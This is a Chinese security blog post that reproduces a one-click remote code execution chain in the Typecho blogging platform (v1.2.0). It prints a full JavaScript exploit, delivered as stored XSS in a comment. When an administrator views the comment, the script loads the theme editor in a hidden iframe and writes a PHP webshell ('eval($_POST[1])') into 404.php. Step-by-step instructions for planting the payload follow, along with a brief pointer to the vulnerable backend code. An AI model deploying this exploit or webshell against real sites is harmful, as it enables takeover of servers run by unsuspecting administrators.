1. 首页
  2. 代码审计

Typecho(最新1clickRCE复现)

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

typecho(1clickRCE复现)

ZAC安全

#2023#

        今天看到typecho公开了一个xss,今天简单复现一下顺便说一下rce,还是经典的1click,懂的师傅可以直接关闭本文去复现了。本文感谢火炬师傅的大力支持!

        本人用的环境是最新的releasesv1.2.0,以下的版本应该也都受影响

Typecho(最新1clickRCE复现)

        然后准备好ZAC.JS文件,作为exp

function step1(){    var data2="<iframe id="testxss" src="http://localhost/admin/theme-editor.php?theme=default&file=404.php" width="0%" height="0%" onload="poc()"></iframe>";    var oldata=document.body.innerHTML;    document.body.innerHTML=(oldata+data2);}var times=0;var g_shell=0;function poc(){    if(times<=10){        var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');        var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');        htmldata.innerText=('<?php eval($_POST[1]);');        btn[1].click();        times+=1;        if(g_shell==1){            var xhr1=new XMLHttpRequest();            xhr1.open('get','/usr/themes/default/404.php?shell=1');            xhr1.send();            }        else{            return 0;        }    }}step1();

        搭建好环境

Typecho(最新1clickRCE复现)

        然后打开文章,进入到评论区

Typecho(最新1clickRCE复现)

        抓包并添加poc

Typecho(最新1clickRCE复现)

        然后此时上管理员账号进入后台,访问评论页面,可以看到我们已经成功的插入payload,此时就已经把马子写入到404.php

Typecho(最新1clickRCE复现)

Typecho(最新1clickRCE复现)

Typecho(最新1clickRCE复现)

    其中rce我们访问的文件是 admin/theme-editor.php

Typecho(最新1clickRCE复现)

    后端处理逻辑在var/Widget/Themes/Edit.php文件中

Typecho(最新1clickRCE复现)

        使用fwrite写入我们传的参数

Typecho(最新1clickRCE复现)

 
 

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/8313.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息